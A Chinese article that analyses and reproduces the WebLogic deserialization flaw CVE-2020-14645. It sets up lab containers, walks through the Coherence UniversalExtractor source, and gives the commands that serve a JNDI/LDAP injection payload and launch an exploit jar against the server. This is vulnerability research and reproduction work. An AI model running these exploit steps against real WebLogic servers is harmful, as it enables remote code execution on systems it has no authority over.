WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎樣的

今天就跟大家聊聊有關WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎樣的，可能很多人都不太了解，為了讓大家更加了解，小編給大家總結了以下內容，希望大家根據這篇文章可以有所收獲。

1.1 狀態

完成漏洞挖掘條件分析、漏洞復現。

1.2 簡介

WebLogic 是美國 Oracle 公司的 Java 應用服務器，確切說是一個中間件，被用于WEB應用、數據庫應用等的集成開發部署。WebLogic 的 T3 協議易被利用，從而采用 JNDI 注入、反序列化方法達到遠程代碼執行的目標。存在安全缺陷的版本：WebLogic12.2.1.4.x，【JDK版本：6u211以下；7u201以下；8u191以下】。本文使用JDK1.8.0_181。

1.3 漏洞挖掘能力條件

認為應掌握JNDI注入方法，并清晰WebLogic的coherence源碼的邏輯功能。

1.4 利用方法

1.4.1 環境

在 WIN10 的 WSL2 下用 docker 鏡像 weblogic122140jdk8u181new:latest、ubuntu 創建三個容器，稱為weblogic122140jdk8u181new、ubuntu-JNDI、ubuntu-gongji，作用分別為WebLogic 服務器、JNDI服務器、攻擊機。對于 weblogic122140jdk8u181new 容器【ip:172.17.0.2】的生成過程，需要進入【WeblogicEnvironment】文件夾，參照【https://github.com/QAX-A-Team/WeblogicEnvironment】方法即可生成，命令是：

docker build --build-arg JDK_PKG=jdk-8u181-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.2.1.4.0_wls_lite_generic.jar  -t weblogic122140jdk8u181new .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic122140jdk8u181new weblogic122140jdk8u181new

對于由 ubuntu 鏡像生成的 ubuntu-JNDI 容器【ip:172.17.0.3】，將 jdk-8u181-linux-x64.tar.gz、JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar拷貝至容器內，參照【https://www.cnblogs.com/hellojesson/p/11684299.html】安裝好jdk，執行命令：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/CVE -A 172.17.0.3

對于由ubuntu鏡像生成的ubuntu-gongji容器【ip:172.17.0.4】，將jdk-8u181-linux-x64.tar.gz、CVE-2020-14645.jar拷貝至容器內，參照【https://www.cnblogs.com/hellojesson/p/11684299.html】安裝好jdk。1.4.2 目標在 WebLogic 服務器執行代碼【touch /tmp/CVE】，從而在 tmp 文件夾下生成 CVE 文件。 
1.4.3 復現ubuntu-JNDI 容器會輸出可利用的 LDAP 鏈接，本次輸入結果如下：
則在攻擊機 ubuntu-gongji 容器中輸入轉發類命令如下：

注意標紅位置 LDAP 鏈接尾部是隨機產生的，每次均不一樣。weblogic122140jdk8u181new 容器會出現經代碼執行后生成的文件：

1.4.4 分析方法【省略部分代碼分析】程序運行時，會跳轉至下圖紅框中的 coherence 庫中執行部分功能。
com.tangosol.util.extractor.UniversalExtractor 類中：protected transient String m_sNameCanon;private transient TargetReflectionDescriptor m_cacheTarget;private transient boolean m_fMethod;com.tangosol.util.extractor.UniversalExtractor#extract 方法中的 com.tangosol.util.extractor.UniversalExtractor#extractComplex方法中：

Class clzTarget = oTarget.getClass()Class[] clzParam = ClassHelper.getClassArray(aoParam)String sCName = this.getCanonicalName();#【無參的函數或空值】boolean fProperty = this.isPropertyExtractor()Method method = nullif (fProperty) {#【方法對象的獲取只有一個條件】String sBeanAttribute = Character.toUpperCase(sCName.charAt(0)) + sCName.substring(1);#【首字母大寫for(int cchPrefix = 0; cchPrefix < BEAN_ACCESSOR_PREFIXES.length && method == null; ++cchPrefix) method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false);#【對由get/is+字符組成的新字符進行處理】【ClassHelper.findMethod查找與指定類、方法名稱和參數匹配的重要方法】【指定函數必須由“get”或“is”開頭，且無參】}} else {method = ClassHelper.findMethod(clzTarget, this.getMethodName(), clzParam, false);}

初步認為，進入 else 分支中，即可調用任意方法，前提是 fProperty 為false。經研究，fProperty 由 !this.m_fMethod 決定，其賦值如下 init() 函數：

protected void init() {String sCName = this.getCanonicalName();this.m_fMethod = sCName == null || sCName.endsWith("()");#【sCName為無參函數時符合要求】}

fProperty 方面，當 sCName 不是無參函數且非空時，fProperty 為 true。繼續分析 String sCName = this.getCanonicalName();，追溯到類com.oracle.common.internal.util.CanonicalNames 的方法com.oracle.common.internal.util.CanonicalNames#computeValueExtractorCanonicalName(java.lang.String, java.lang.Object[])：

public static String computeValueExtractorCanonicalName(String sName, Object[] aoParam) {#【此方法要求函數必須是無參的】int nMethodSuffixLength = "()".length();if (aoParam != null && aoParam.length > 0) {return null;#【參數非空則返回空】} else if (!sName.endsWith("()")) {return sName; #【函數名不以“()”結尾則返回函數名】} else {String sNameCanonical = sName;int nNameLength = sName.length();String[] var5 = VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES; #【“get”，“is”】int var6 = var5.length;for(int var7 = 0; var7 < var6; ++var7) {String sPrefix = var5[var7];int nPrefixLength = sPrefix.length();if (nNameLength > nPrefixLength && sName.startsWith(sPrefix)) {sNameCanonical = Character.toLowerCase(sName.charAt(nPrefixLength)) + sName.substring(nPrefixLength + 1, nNameLength - nMethodSuffixLength); #【函數名前幾位是“get”/“is”，去除尾部“()”】break;}}return sNameCanonical;}}

綜上，有三種方法。

• 方法1：尋找以 “get”/“is” 開頭的函數名。【機會較小】

• 方法2：使 fProperty 為 false，則需尋找以“get”/“is”開頭的無參函數。【機會很小】

• 方法3：觀察 extract 在 compare 函數中被調用了兩次，會導致一些值發生變化，從而產生缺陷。【經驗證無效】

對于方法1，可找到合規函數名，再找可序列化的對象（例如，控制dataSource，就能控制javax.sql.rowset.BaseRowSet#getDataSourceName，進行JNDI注入。 

1.5 補丁分析

暫無。 

1.6 docker復現

加載容器tar為鏡像，例子：

cat ./ubuntu-xxx.tar | docker import - ubuntu-new

設置局域網及容器ip、啟動容器，例子：（1）自定義網絡

docker network create --subnet=192.168.10.1/24 testnet

（2）啟動 docker 容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

當容器【ubuntu-JNDI1106】的ip是172.17.0.3、容器【ubuntu-gongji1106】的ip是172.17.0.5、容器【weblogic122140jdk8u181new1106】的ip是172.17.0.4時，啟動 weblogic 服務。進入容器【weblogic122140jdk8u181new1106】，輸入命令

sh /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh

啟動成功，如下圖。

啟動 JNDI 服務。進入容器【ubuntu-JNDI1106】，依次輸入命令

source /etc/profile

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/CVE110667 -A 172.17.0.3

可知適用于 jdk1.8 的 JNDI 訪問鏈接為【ldap://172.17.0.3:1389/usns1q】，如下圖。

發起攻擊。進入容器【ubuntu-gongji1106】，依次輸入命令

source /etc/profile

java -jar CVE-2020-14645.jar 172.17.0.3:1389/usns1q http://172.17.0.4:7001

“172.17.0.3:1389/usns1q”部分為JNDI鏈接，攻擊成功會返回weblogic版本，如下圖。

攻擊成功后，容器【ubuntu-JNDI1106】會顯示傳輸信息，如下圖。

攻擊成功后，weblogic服務器會生成【CVE】文件，如下圖。

看完上述內容，你們對WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎樣的有進一步的了解嗎？如果還想了解更多知識或者相關內容，請關注億速云行業資訊頻道，感謝大家的支持。